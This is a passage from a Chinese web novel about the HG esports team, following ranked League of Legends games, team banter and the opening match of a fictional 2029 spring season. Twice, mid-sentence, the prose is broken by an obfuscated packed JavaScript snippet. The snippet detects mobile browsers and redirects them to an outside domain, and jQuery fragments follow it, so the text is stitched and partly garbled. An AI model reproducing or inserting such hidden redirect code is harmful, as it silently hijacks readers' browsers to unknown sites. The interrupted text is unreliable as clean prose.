“你他妈差不多得了,别再问这些乱七八糟的东西了,老子要回去训练了。” 于琰说完就扭身出了门,也不管廖望延跟没跟上自己,一溜烟就跑没了影。 没开灯的会议室一片漆黑寂静,高大的身影像个柱子一样立在离门口两三步远的地方。 半晌后,廖望延低笑一声。 在于琰应下越界那句话的时候,他甚至想要逃跑。 毕竟如今的一切,本就是一场他盛大又隐秘的,自我感动的暗恋。 廖望延能接受于琰在不知深意的情况下,对自己的所作所为照单全收但毫无表示,却无法接受于琰将自己真的划在普通朋友的行列,明示有些地方是自己不该触及的领域。 幸好,并不是后者。 轻舒一口气,廖望延回身随意找了个位置坐下。会议室有两扇窗,月光皎洁又温柔,照在屋子里,让他可以安心的平复心情。 刚才的事在于琰眼里,可能只是个令他害羞不自在的小插曲,可在廖望延眼里,是半只脚踩在悬崖,一句话就能让自己的暗恋世界直接崩塌的重要节点。 不知过了多久,放在桌面上的手机发出叮咚一声响。 廖望延解锁一看,忽地又笑了一声。 【没脑子:给你爹煮个泡面送过来,加一个鸡蛋一根玉米肠,速。】 【Y:刚吃完俩小时又饿了?你上辈子真是饿死的?】 【没脑子:别废话,赶紧。】 【Y:等着。】 将椅子塞回桌面下,廖望延起身出门,轻快地走向厨房。等他捧着泡面碗进训练室的时候,HG全员都还奋战在峡谷里。 闻见煮泡面的香味,众人的眼睛齐刷刷地从屏幕前挪走。 于琰:“快快快,趁着我现在回城赶紧喂我吃两口!” 邵乖:“延哥,我也想吃。” Nap:“辛苦延哥,我要吃豚骨的,不加蛋,但加根鸡肉肠。” 左星水:“同上,辛苦Mesh。” 廖望延坐在于琰旁边,边喂猪边说:“煮面可以,碗自己刷,而且邵乖,今天的煮面工作本来是你的,今天我替你干,下周你替我干一天。” 邵乖:“没问题没问题!” 于琰:“你他妈吹两下再喂我啊!你想烫死我啊!” 廖望延一看自己吃力不讨好,直接把泡面碗塞于琰怀里:“爱吃不吃。” 与其伺候一个白眼狼,不如去投喂另外几个懂事的队友。 58.Chapter 58 廖望延拎着于琰桌前的牛皮小纸袋去厨房,将里面的冰箱贴一个个拆开塑料包装贴在冰箱上,才开始着手给队友们做夜宵。 等众人把爱心泡面吃完,训练室的灯又照旧亮到了后半夜。 与此同时,一个微博个人记录小号悄悄发出一张照片,配文为:平安夜和小姐妹去东二街吃饭,遇见了两个超帅的男生,果然这个世界上的帅哥都被其他帅哥勾到手了QvQ。 或许是为了保证隐私,这个私人小号没有放出两个男生的正脸照,而是发了一张两人并肩而行的背影。 照片内,穿着深灰色大衣的男生微微向右偏头看身边的人,他的手虚拢在那人的后腰间,却克制地没有去触碰。 在一众迎着摄像头走来的人群中,只有他们两个背对着,不合群,却和谐。 越是临近春季赛开赛,HG队员的训练时间就越是自发加长,到了赛程出来前一晚,练的最多的于琰已经丧心病狂到早上九点起床凌晨两点才回房休息。 廖望延好说歹说,不管是怀柔手段还是强硬手段都用了个遍,也丝毫没能拦住于琰,到最后看实在没办法,他放弃了每日晨跑环节,陪着于琰一起日夜训练。 终于到了出赛程的日子,众人都等着看今年的赛事如何规划,翘首期盼了半天,终于在下午两点等来了组委会的官方消息。 今年入围春季赛的战队共有17支,有从次级联赛打上来的眼生的新战队,也有破产重组改头换面用了新名字的战队,但大部分还是已经在LPL征战了多年有庞大粉丝基础的老队。 春季赛赛程不分组、不淘汰,按照组委会筛选安排,每支战队都要与其他16支战队打一遍,赛程为BO1,以胜场决定最后名次。 赛程共持续两个月,每日都会有2-3支队伍进行比赛。按照赛程,每支战队每周都会有2场左右的比赛。而因春季赛赛中涉及过年这一放假节点,所以会有一个多星期没有比赛。 HG众人排排坐在会议室里,看着大屏幕闹成了一锅粥。 于琰:“哈哈哈哈哈干得漂亮!” 邵乖:“我靠,真这么来啊?” Nap:“更有压力了,感觉要失眠……” 左星水:“为了收视率不择手段。” 廖望延:“啧。” 能让众人发出如此感叹的,正是高清大屏幕上的自家队伍名字。 赛程第一周第一天第一场,黑底白字—— HG vs NWG 18:00 老姚看着安静不下来的众人,索性也不管了,坐在首位用手捏着眉头。 他深知开幕场的双刃剑,打得好夸上天,打不好骂入土。 毕竟电子竞技,实力说话。 本来就烦,身边还吵得和菜市场一样,老姚听声辩位,闭着眼将笔记本砸到了还在不停呦呦呦的于琰身上。 “得疯狗病了?一会就给你嘴里塞根骨头。” 于琰非常识趣,给自己嗷嗷乱叫的嘴拉上了拉链。 老姚终于得到了片刻安宁,他睁开眼,看着这群20来岁眼里正蕴含着无穷战意的男生。 “沾了Mesh的光,组委会应该是觉得咱们两队风头正劲,适合用来拉收视率。我丑话得说在前头,这场比赛只能嬴不能输,赢了万事皆好说,要是输了,你们的过年假期就不好说了,自己看着办吧。” 于琰小学生举手:“姚老师,咱们过年放假什么安排?” 老姚一听就气不打一处来:“还没开赛呢你就想着过年放假?要是开场赛赢不了你看我会不会把你皮扒了!” 于琰:“就知道骂我,没天理了。” 邵乖:“去年过年咱们放了五天,今年应该也一样吧?” Nap:“去年感觉上一秒刚放假,下一秒就回基地了,那五天和失踪了一样。” 众人正由过年假期引起新一轮讨论热潮,刘国柱裹着凉气推门而入:“就知道你们在这呢。” 老姚对他招了招手:“来这坐,这帮小兔崽子就等着你呢。” “等我?” 刘国柱一听这话顿时起了戒备心,队伍里这帮孩子没事想不起他,但凡想起了绝对是有事求他。 老姚点点头:“等你说过年安排呢。” “还挺着急。”刘国柱接过老姚送来的水瓶喝了口水,看着数道期待的眼神不由发笑,“我过来就是为了和你们说这件事。” 于琰:“快说快说。” 刘国柱清了清嗓:“赛程我看了,过年那段时间有12天的无赛空窗期,咱们战队在腊月廿七的时候和DL有比赛,加上廿八廿九,就是14天,我会给你们定好廿八的机票各回各家。” 刘国柱笑眯眯地看着面前的男生们:“如果你们打NWG和DL都赢了,就能拥有九天假期,但凡输了任何一场,就只有五天。” 邵乖:“嬴NWG是因为需要开门红,但是为啥还要嬴DL?” 刘国柱耸耸肩:“谁让我看某些人不顺眼呢。” 这话一出,顿时收获了数道带着波浪号的哦声。 好你个刘国柱,公报私仇。 报的好! 于琰将椅背调到最靠后,像是躺在老板椅上一样悠闲:“赢了DL能过个好年,要是输给他们,过年吃饺子都得吃苦瓜馅的。” 他边说边把小腿搭在廖望延大腿上,脚上的拖鞋还要掉不掉的晃悠着。 “安排就是这样,想多休息四天就把这两支队伍都赢下来,不然就提前飞回来坐在基地里训练。” 刘国柱说完就撑着椅子起了身,连带着还叫走了老姚,两人不知道又背着队员商量什么去了。 剩下的五个人难得有这种休息时间,都没回训练室,而是在会议室里聊天。 Nap:“我昨天单排正好匹到了NWG的打野Aser,感觉他还挺强的。” 于琰:“有老狗比强?” 廖望延:“再敢这么叫我你就会死。” Nap:“一把游戏也看不出什么,不过我们那把是翻盘局,能赢全靠他的艾克。” 左星水:“前几天我也遇见过FLY,不过他在我对面,感觉 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邵乖放下手机:“是啊,当初老姚说完就没了下文,咱们也不知道后续情况。” 于琰被廖望延捏得有点疼,收回小腿,边揉边说:“提他干嘛啊,有聊他的时间还不如回去打rank,走了走了。” 一个人要走,所有人都跟着起了身,不多时会议室里就只剩下一堆七拐八歪挡在过道的椅子。 回到训练室,众人开始排队,或许是排队时间过于相近,廖望延和于琰排到了一起。 “哟,父子齐上阵,这还不稳稳吃分。”于琰说。 廖望延哼笑一声,预选了寡妇。 读条界面,于琰看着各种异常熟悉的id名,头顶飞过一排乌鸦。 自家队伍:廖望延、cc、CHAO、TAN。 对面队伍:钟络、邵乖、FLY、Nap。 老NWG五个人,老HG四个人,新DL三个人,除了对面ad是个路人,剩下的人于琰一个比一个熟。 左星水瞥着Nap的屏幕笑着说:“熟人局啊?我取消排队凑个热闹,看看你们谁能嬴。” “那还用说?”于琰对着两个排到对面的队友大放厥词,“你俩这把必被我锤进地里。” 结果收获了两声冷哼。 邵乖:“洗干净脖子等我来砍!” Nap:“话说得太满一会就要被打脸。” 一进游戏,FLY就迫不及待地发来所有人对话。 [飞高高(发条魔灵):?] [鲨鱼之王(魔蛇之拥):刚来就装杯?] [飞高高(发条魔灵):等死吧你!] [小嘴抹蜜(痛苦之拥):嗯?一会别哭。] [飞高高(发条魔灵):一会就让你跪下叫爹。] [鲨鱼之王(魔蛇之拥):有朋自远方来,虽远必诛。] [鲨鱼之王(魔蛇之拥):拔剑吧!] [飞高高(发条魔灵):……神经病。] 59.Chapter 59 过于熟悉彼此之间的套路,廖望延和钟络都没入侵对方野区,而是保守的从自家开野。 于琰和FLY从上线就开始换血,打的那叫一个激烈,第二波兵还没到,两个人的血量就已经降到一半以下。 和他们同样情况的还有上路的cc和邵乖。 廖望延:“悠着点,小心gank。” 于琰知道他在和自己说话,随口答:“放心吧,我心里有数。” 因着熟人的缘故,这把大家都开了队内语音。 廖望延还在刷上路的河蟹,就听见中路传来语音播报。 鲨鱼之王(魔蛇之拥)刚刚拿到了第一滴血。 飞高高(发条魔灵)击杀了鲨鱼之王(魔蛇之拥)。 中单人头互换。 cc的声音从听筒传来:“你俩打的这么凶?那我也不客气了。” 话刚落地,他的狗熊就无视兵线开着Q去追邵乖了。 其实cc也不算无视兵线,他看见了上河道的廖望延马上要打完河蟹,知道身边有队友,才敢这么肆无忌惮。 廖望延明白cc的意思,惩戒完河蟹就一路往上赶。当他在上路露头的时候,钟络的努努也推着雪球赶到。 局势瞬间形成2v2。 钟络努努的雪球砸向cc的时候,廖望延寡妇的魅惑也已经对邵乖蓄力完成,双方打野都对着半血的对方上单先行发起攻势。 邵乖手下的厄加特被魅惑,不受控制了一秒,被廖望延一套QQQE将血线打到残,旁边的cc也被钟络的技能打残。 战况正激烈时,双方中单都从上路兵线亮起TP传送。 局势又瞬间变成3v3。 于琰拿下一血,比FLY多拿了100块钱,成功补出了水滴,而FLY此刻却没能补出小装备。 于琰放出W剧毒迷雾,使站在技能上的邵乖无法放出位移技能,随后用E技能狂咬邵乖。 邵乖本来就残血,被于琰作为首个攻击目标,成为了这波小规模团战里第一个牺牲的人,紧随其后第二个阵亡的人就是cc,被钟络拿到人头。 于琰符文点的是征服者和气定神闲,杀掉邵乖后回复了一部分法力值,有蓝有头的蛇女威胁性很大,使本就处于微小劣势的FLY和钟络想要立刻后撤。 如果他们两个成功逃走,这波团战就是1换1,他们不亏。 于琰:“追追追!能杀!” 廖望延:“先杀努努。” 于琰Q到钟络,蛇女Q的技能属性附带移速加成,此时钟络因着刚才的团战已经消耗了不少血量,被于琰追着啃了好几下后,迫于无奈用出闪现,一旁的廖望延跟上闪,EQQQ拿到他的人头,于琰拿下首枚助攻。 FLY的发条因为没被集火,成功缩回塔下回城。 上路这波打完,于琰蛇女2-0-1,廖望延寡妇1-0-1。 于琰:“哈哈哈,小FLY,老子看你还怎么狂!” 廖望延:“……看你这副小人得志的嘴脸。” cc:“我要是开局2-0我也狂,延哥,帮帮人家~” 廖望延:“再敢用这种恶心的声音说话,我就去给邵乖送人头。” cc:“别!错了!” 回家补完装备的于琰并不是口嗨,而是真的开始压着FLY打。 其实蛇女和发条都属于中后期英雄,但于琰前期太顺,导致FLY的发条现在只能避其锋芒。 不管是谁,但凡被蛇女Q到就是被一路追着啃,这谁受得了啊! 顺风期的蛇女真是不跟任何人讲道理。 看中路的形势一片大好,廖望延着手死抓上路。下路的CHAO和TAN他不过多关注,因为不管怎样,这两人的配合都一定比Nap和路人的配合要好。 趁其病要其命,廖望延要把邵乖抓崩,把邵乖这个厄加特抓到毫无后期可言。 廖望延第四次出现在上路时,同处一间屋子里的邵乖终于受不了了。 “延哥!收了神通吧!我也是你的队友啊!你连兵都不让我补,是不是太过分了!” 廖望延悠然飘出两个字:“加油。” 邵乖急得挠头:“加不了!我漏油了我!再逼我我要挂机了!” 于琰从旁幸灾乐祸:“那我就举报你。” 邵乖:“你们两口子一个比一个不要脸!” 于琰:“你他妈说谁两口子呢!” 廖望延:“不抓了,你好好发育~” 邵乖:“欸???” 自己怎么莫名其妙的活下来了? 看寡妇真的消失在上路,邵乖又谨慎的躲了一会,才敢悄悄探出自己螃蟹的六条腿去吃兵。 其实就算邵乖不说,廖望延也不准备再去上路了,因为这几次帮下来,cc已经隐隐能看出中期的大魔王雏形。 邵乖的厄加特被如此压制,成型起码要等到30分钟以后。 可廖望延不会让这局游戏超过30分钟。 上中两路大优势,下路的CHAO和TAN也没因为钟络的gank而形成太大劣势,廖望延进入自己最熟悉的节奏。 偷巢虫、偷河蟹、偷对面野区、偷线上兵、偷到后面越偷越有。 游戏进行到19分钟的时候,于琰的蛇女7-1-4,上路的cc也吃着邵乖的蟹血馒头拿下5个头。 甚至没等到打大龙,双方队伍就已经要进入最后的团战。 廖望延这边的蓝色方一路高歌猛进,已经将红色方的中路高地拆掉,双方十个人都站在红方高地上跃跃欲试。 于琰作为现在队伍里最肥的人,眼睛死死盯着对面五人,生怕错过任何一个机会。 对面有该死的钟络,他绝对不能输。 忽然,于琰发现对面有一个四人聚在一起的瞬间,他闪R过去控住三人,cc的狗熊也一个大招砸了过去。 团战瞬间打响。 因被先手开团,红方几人的血量瞬间下降不少,钟络的努努刚开出来大招两秒,就被廖望延一套连招带走。 FLY的发条趁着乱战拉出大招,于琰没闪现,按出金身规避伤害。 发条从上路第一波团就落下经济,到后面也没能偷回来,因蛇女的威胁太大,他第三件装备是出的女妖,自保能力足够但伤害明显欠缺。 发条大招拉到三人,但QRW的伤害不高,被处于安全距离的CHAO追着A。 临死前FLY按下沙漏,却被压了起身时间,成为红方第二个阵亡的人。 剩下的人也一个接一个的阵亡。 不多时,红方高地上只剩蓝方的五个人。 0换5。 其他队友正拆门牙塔,于琰从旁打起了字。 [鲨鱼之王(魔蛇之拥):让你刚进游戏就装杯,还装不装了!] [飞高高(发条魔灵):哼!] [小嘴抹蜜(痛苦之拥):没哭吧?] [飞高高(发条魔灵):哭个锤子!] 直到红方基地被蓝方小兵点掉的前一秒,峡谷内的八个人还在所有人频道聊天。 完全不像刚打完团的样子。 至于没说话的两个人,一个是红色方路人,另一个是钟络。 整场游戏24分钟,钟络没从所有人频道说一句话,甚至连最后的结算界面也是最先退出去的。 蓝方的于琰和廖望延不知道,但同阵营的邵乖和Nap知道啊,两人退了结算界面后隔着中间的三个人聊天。 邵乖:“输游戏都不如被延哥gank难受,延哥是真往死了抓我啊,钟络还不帮我。” Nap:“第一波不是帮了么?” 邵乖:“整局游戏就帮了那一波,我真服了。亏了我还为了和他交流进了小队语音。” Nap:“所以你们交流啥了?” 邵乖:“我单方面交流了两句,回应我的只有空气。” 于琰插话问:“他没跟你说话?” 邵乖:“一个标点符号都没说。而且最可气的是,我进小队语音的时候明明看见他在,结果我一说话他就把语音退了。” Nap:“好一个热脸狂贴冷屁股。” 于琰啧啧两声没再说话,一旁的廖望延还在欣赏自己刚才的战绩。 他的寡妇最终结算6-0-8,伤害打了3w5,而钟络的努努最终结算2-6-6,伤害打了2w4。 廖望延看着数据图,低声从唇缝吐出两个字—— “废物。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045746|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>廖望延关掉结算,正准备重新排队,右下角的聊天图标上就冒出了一个黄色的1。 他还以为是FLY,结果却是CHAO。 [CHAO:开幕赛打老东家,延哥啥感想?] [小嘴抹蜜:目标让FLY泪洒现场。] [CHAO:哈哈哈哈哈哈一会我就截图给FLY。] 廖望延本不想再回,又想起刚刚邵乖的话。 [小嘴抹蜜:开着直播呢?] [CHAO:没啊,咋了?] [小嘴抹蜜:那就行,问你点事。] [小嘴抹蜜:刚才那把游戏,钟络有说过什么吗?] [CHAO:没啊,他平时在基地里就不太说话。来DL两个多月了,我每天和他说的话都不超过五句。] [小嘴抹蜜:当初我们这边和你们约训练赛,莫名其妙取消了,是因为什么?] [CHAO:哦,你说那个啊,我跟你说了你可别告诉别人,于琰也不行。] [小嘴抹蜜:1] [CHAO:这事说来还和你有点关系。good是你粉丝,那天他在训练室和我们聊天,一直夸你,然后提起有一次排到你和于琰,说你俩配合得好,不愧是认识了十多年,后面反正夸了你俩挺多的,然后钟络突然笑了一声,good就问他笑什么,结果你猜钟络说啥?] [小嘴抹蜜:别卖关子,赶紧。] [CHAO:钟络反问good说这话是什么意思,good说自己没什么意思,钟络就说他是你的舔狗,说他既然这么喜欢舔,干脆转去HG一天24小时舔呗,good一下子就生气了,问钟络是不是自己菜就见不得别人好,俩人越吵越凶,差点动手,我们给拦下来了,那种情况也就没法继续打了。] [小嘴抹蜜:一会问问good晚上想吃什么。] [CHAO:干啥???] [小嘴抹蜜:我给他点外卖。] [CHAO:你怎么不给我点???] [小嘴抹蜜:这是对迷弟的奖励,你边呆着去。别忘了啊,问完了一会直接发我微信。] DL基地,CHAO看着自己屏幕上的聊天框暗自撇嘴,随即扬头找人。 CHAO:“good,收到请回复!” 正打韩服的good听见呼唤,扒拉着耳机露出一只耳朵:“干嘛?” CHAO醋意满满地开口:“你晚上想吃什么?” good被问懵了,扭头看他:“什么意思?晚上有安排?” CHAO不能说出刚才的聊天内容,毕竟涉及到了钟络,他只能含糊其辞:“我跟延哥说你是他的脑残粉,他说你有眼光,要给你点个外卖奖励你。” good一听立刻原地回城,一把揪下耳机:“真的?我靠,延哥给我点的外卖我哪舍得吃啊,干脆直接做成标本供起来吧!” CHAO翻了个白眼:“别跟延哥客气,什么贵点什么,而且你多点几份,到时候分我们一点。” good嘿嘿一笑:“让延哥帮我点一份麻辣香锅吧。” CHAO:“出息!他都站在你面前让你宰了,你居然就点个破麻辣香锅,要你有何用!看来还得我出马。” CHAO没再搭理good,点开微信跟廖望延报菜名。 几个小时后,DL队员看着满桌子的外卖袋,对着CHAO齐齐竖起大拇指。 CHAO招呼着大家坐下吃饭,看着席间空着的那个位置,小声问旁边的TAN:“你说……我要不要去叫钟络啊?” TAN没说话,反倒是另一边的good边吃边接话:“别,这是延哥给我点的,我有权决定给谁吃不给谁吃,而且他那么看不上延哥,想必也肯定不想来吃,让他自己解决吧。” CHAO闻言不再说话。 钟络结束一把韩服rank,看了看空无一人的房间,拿着杯子出门接咖啡。刚走到餐厅门口,就看见队友们围坐一团吃得正香。 他冷眼瞥了一眼,咖啡也不接了,直接扭头回了训练室。 良久后,训练室里响起一阵男人的呢喃—— “离的那么远还要来恶心我。” “真不愧是你啊,廖望延。” 60.Chapter 60 赛程公告一出,HG这边老姚停了所有和其他战队的训练赛计划,一是为了藏自家的各种战术,二是不让训练赛结果影响自家选手的赛前状态。 毕竟如果因为训练赛的输赢而影响真正赛场上的心态,那就得不偿失了。 一周后,LPL新一年春季赛正式打响。 第一周第一天的比赛安排在T市的一个大型电竞场馆。春季赛的赛程每天都会在不同地方,具体情况要参考当天比赛战队的基地所在地,尽可能让当天比赛的战队都免于路程奔波,减少电竞选手因路程造成的疲乏。 HG众人当天下午五点就在后台候场了,毕竟是春季赛的开场,还有一些赛前造势需要准备。 选手们在后台准备时,前台开始用大屏幕播放今年春季赛的赛前宣传片。 楼宇层叠交替,马路汽车疾驰,快闪画面映照出当今社会的各种快节奏。选手id背影,赛间打团切片,每个场景都突出展现电竞比赛的紧张与高燃。 三分半的宣传片,后半分钟是所有参赛选手的正脸照,他们或青涩或成熟,虽面孔不同,但眼神中的坚毅与自信却大抵相似。 开场主持是LPL主持团中有名的美女主持小泉,她身着正红色高开叉旗袍,长发松散的盘了一个髻,慵懒又不失正式,因自身身高的原因,她只踩了一双中跟的高跟鞋,一圈珍珠绑带扣在她的脚腕,凸显莹白的小腿与脚背。 她手持麦克风,正对她的是正在直播的摄像机和台下五位数的观众。 “各位召唤师好久不见,欢迎来到新一年英雄联盟职业联赛的现场。去年一年的征程,我们作为观赛者参与其中,与一众选手共同经历过失败的颓唐和胜利的欢欣。” “去年五月的巴黎,我们虽远在大洋另一头,但仍旧一同迎来了那片彩色的雨。而半年后的十月,我们又让其同样复刻在了美国的洛杉矶。我们万众一心,我们众志成城,我们是名副其实的全球最强赛区。我们穿越险境,我们披荆斩棘,我们将冠军奖杯稳稳坐落于LPL。” “征途永无止境,新赛已然打响,让我们从这一刻起,开始全新的旅程。” 小泉语毕,画面转到了比赛台,摄像机从左扫到右,红色的赛台与黑色的显示屏交相呼应。画面一转,摄像机将看台的观众揽于镜头内,应援发箍、应援手幅、应援旗子数不胜数,坐席内黑压压一片完全看不见空位。 赛场正上方大屏幕开始倒数计数,数字从10到1,每一次倒数都搭配着一声心跳的咚咚声。当屏幕上的数字变为0时,下一秒,画面陡然变暗,整个赛场几近全黑。 三秒后,场馆瞬间转亮,而位于屏幕正中心的,正是廖望延那张放大的脸。 选手宣传照里的廖望延目光直直地盯着面前,下颌微微抬起,头有点往右偏,一副有话快说有屁快放没事滚蛋的放肆模样。而当这张照片出现的一刹那,场馆内的欢呼声也猛然响起。 画面切换,变成廖望延的个人介绍,列数了他四年征程里的所有成绩,去年的成绩虽在最后,却尤为突出。 2028年LPL春季赛冠军、2028年MSI季中邀请赛冠军、2028年LPL夏季赛冠军、英雄联盟S18全球总决赛冠军、S18总决赛FMVP获得者。 画面上的文字不算太大,但仍洋洋洒洒罗列了一整个屏幕,足以见得廖望延个人荣誉之多个人能力之强。 个人荣誉之后,画面开始播放去年总决赛bo5最后一场的切片。 从开局的优势,到中期的劣势,到后期NWG三路被破,只剩高地两个门牙坚守屹立。 画面将本该在右下角小窗的分屏拉大,廖望延在那个小框里嘴唇不停张合,灯光聚拢照射下,他额头细密的汉顺着额角淌下。 左侧是游戏内英雄们焦灼的对峙,右侧是游戏外选手们紧张的布局。 最后一波团战,那值得粉丝千看万看的一分钟,未经任何加速和剪辑展现于众人眼前。 先手抓时机,寡妇切后排,队友跟输出,人头涌现尸体陈列,NWG于瞬息间将大劣势扭转。 场馆内的观众们看见这段回放仍旧忘却不了三个月前的激动与紧张,整座建筑内都是高亢的口哨声与欢呼声。 从廖望延的宣传照开始到NWG夺冠结束,时间过去也就一分钟,但整座场子都热了起来。 廖望延之后,是老NWG其余四人的宣传照与比赛切片。他们为LPL拿下了总冠军殊荣,理应在新赛季开端给予重视。 这是登峰者的荣耀。 老NWG的片子放完后,主持人小泉将麦克风递到嘴边,她每说一个id,那个名字的所属人便从后台踱步而出站在她的身边。台下的观众也很给面子,每当一个人出现,场馆内就会重新升起几秒热烈的欢呼。 小泉先说的是新NWG,作为分崩离析后仍旧坚守老东家的FLY自然是首个出场的人,其他四位紧随其后站在小泉的左手边。 介绍完NWG五位,小泉微微一笑,卖了个关子:“接下来……要不接下来我们进一段广告?” 最后一字落地,观众席升起嘘声,隐约还能听见高声粉丝的呼喊“快让Mesh出现!”“HG冲啊!”“进广告就退票!” 小泉本也就是抖个机灵,只是想活跃一下气氛,看如此氛围她也干脆利落地开始下一步:“接下来让我们欢迎——” “HG.Weidro,邵乖。” “HG.Mercury,左星水。” “HG.Nap,吴醒。” “HG.Shark,于琰。” “HG.Mesh,廖望延。” 身着黑色队伍的HG五人顺应呼喊立于小泉右手边,逐个站定。廖望延最后出场,获得了最高声的呼声。 十位挺拔的少年站在台前,迎接新赛季的未知挑战。 小泉话语不停:“新的战场新的起点,我们向新的目标发起新的冲击,2029英雄联盟职业联赛春季赛,现在!开战!” 于琰站在右数第二的位置,面对着台下数不清的人头,悄声嘟囔:“万一一会拉跨了,感觉要被骂上天。” 他的声音很小,但还是被廖望延尽数收入耳中,后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15048967|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者神色不变,目视前方轻声回他:“加油,LPL第一中单。” “为了过年九天假,拼了!” 两个人的简短对话没引起关注,随着小泉将开场式最后的结束语说完,两支队伍的十位选手依次退场,十分钟后,他们将带着自己的设备重新坐回台上。 追赛软件上,无数水友看着重播的宣传片聊天。 【来了来了,妈的好紧张,手心手背都是肉,谁赢我都高兴。】 【刚才在台上FLY还往右边看,结果Mesh连个余光都没给他。】 【开盘!】 【Shark和Mesh站在一起真是美颜如画啊,爱了爱了。】 【你们看退场没,FLY一直想追Mesh,结果Mesh走得比兔子还快。】 【不得不说主办方是会玩开场的,让这两个队伍打第一场,感觉血都要溅到屏幕外了。】 【听Nap说,要是今天输了,他们过年假期要少四天,哈哈哈哈哈哈HG是有点阴险在身上的。】 【假期少四天?那和要人命一样。】 水友在网上聊,选手在后台聊。 老姚站在五个人面前,抱着臂说:“都少喝点水,别一会打着打着想上厕所,都给我把注意力集中起来,千万别紧张。” 邵乖:“我看现在房间里的七个人就你最紧张。” 老姚:“那最好,我紧张比你们紧张强。” 于琰:“又不是第一次上场了,安啦,没问题的。” 刘国柱:“今天赢了的话,晚上开车带你们去吃顿好的。” 廖望延:“吃什么?” 刘国柱:“什么都行,餐标无底线无上限,只要你们能赢,你们说什么是什么。” 吴醒:“这么大方?” 左星水:“毕竟打的是劲敌,有诱惑力才能超水平发挥。” 老姚:“确实,毕竟发挥不好过年假期就没了。” 几人聊天间,工作人员敲门示意选手上台,刘国柱坐在椅子上看着抱着外设起身的六人,自己反倒忽然紧张起来了。 “要赢啊!!!加油!!!” 回应他的是六只扬起来摇了摇的手。 比赛场上。 廖望延扭头看边哼歌边插键盘鼠标的于琰,问:“一点也不紧张?” 于琰抬眼看他,轻哼一声:“看不起我?” “没,就觉得咱俩认识这么多年,头一次隶属同一个队伍打比赛,感觉挺奇妙。” “原来是你紧张啊。” “紧张谈不上,但是咱俩的第一次确实让我比较谨慎。” “???” 这话怎么听怎么别扭,总感觉不干不净的。 于琰插设备的手动作不停,狐疑的眼刀却钉在廖望延身上。 “干嘛用这种眼神看我?”廖望延似乎没发现自己刚刚的话带有某些歧义。 于琰摇摇头:“没事。” 算了,可能是自己心脏。 等所有人将设备调试完,进入房间,新赛季春季赛第一场,即刻打响。 61.Chapter 61 “欢迎大家观看2029春季赛第一周第一天第一场的比赛,我是本场解说小A。” “我是小B。” 无法到现场的观众只能在网络平台进行观赛,小A和小B都是LPL资深老牌解说员,他们两个常年搭档,解说比赛的方式也比较诙谐搞笑,不会太注重于专业性词汇,为的就是能让大部分段位不高的观众也能理解赛况。 “好的,我们话不多说,此时选手已经准备就绪,马上就要进入BanPick环节,让我们看看作为蓝色方的NWG会首先ban掉哪个英雄,小B你觉得呢?” 小B几乎是在小A语毕立刻吐出两个字:“寡妇。” 小A哈哈大笑:“看来咱俩意见相同。Mesh的寡妇还是太强了,不ban了总感觉会出大事。” 小B:“FLY选手估计现在很紧张吧?他应该也不想在自己开心补兵的时候突然从某个角落冒出一个隐身寡妇。” 小A:“FLY只会说这么多年的队友情谊终究是错付了。” 小A和小B交流的同时,比赛正式进入bp环节,不出两位解说所料,NWG一手直接按掉寡妇,根本没有丝毫考虑。 带着耳机的于琰乐了一声:“我倒要看你今年能玩上几把寡妇。” 廖望延没接话,只从鼻间轻嗤了一声。 老姚站在五人身后皱着眉头:“别嬉皮笑脸的,邵乖,先把瞎子ban了,Aser的瞎子威胁性很大。” 邵乖“嗯”了一声,乖乖听从命令。 NWG应该是早就在后台定好了bp想法,在邵乖按掉瞎子的下一刻,就将廖望延玩的也很出色的佛耶戈ban掉。 老姚从五位队员身后踱步,看着自己手里的本子说:“看来他们这场想直接把Mesh按在ban位上,这么做并不讨巧,Mesh的英雄池又不是五个ban位能压制住的。Mesh,先把塞拉斯ban了,这摇摆英雄不能留给NWG。” bp环节其实更多的是考验战队教练的能力,身处红蓝双方,如何将版本大势的英雄ban掉却给己方留有选择空间,如何藏住自己内心所想选的英雄,如何隐藏当局战术,需要教练基于当下形势进行灵活变通的选择,非常考验游戏理解实力。 第三手NWG和HG又分别ban掉猪妹和蝎子,又是两个打野英雄。此时前期ban位已然确定,进入Pick环节。 NWG一手抢下永恩。 HG一二楼反手选出卡莉斯塔和芮尔的下路组合。 NWG二三楼敲定寒冰和泰坦,到目前为止双方下路皆已选定。 小A看着当下情况,问小B:“你觉得HG第三手会不会直接出中路英雄?” 小B:“会吧,强势中单如果现在不选一会肯定要被ban,两个队不可能把所有针对项都集中在打野位,那也太极端了。” 小A:“你觉得HG会选什么?” 小B:“既然NWG一手选永恩,我觉得Shark可以掏个蛇女或者妖姬,蛇女挺克制永恩的。” 小A:“蛇女没位移,NWG下路又是寒冰和泰坦,后期打起团蛇女容易第一个死,妖姬倒是可以考虑一下。” 小B:“倒计时马上结束了,HG还没有选出自己的第三手英雄,他们到底会拿出什么来对线永恩呢……嗯???皎月???” 不知道解说台的分析情况,但老姚的确在脑子里天人交战了一番,最终决定执行原计划:“于琰,选皎月。” 于琰:“收到收到~” 这手皎月一经选出,不光是观众看不懂了,就连坐在解说台上的两位解说都蒙了。 小A:“选皎月前期是不是太弱了点?感觉要被永恩按在地上打,HG这怎么想的?” 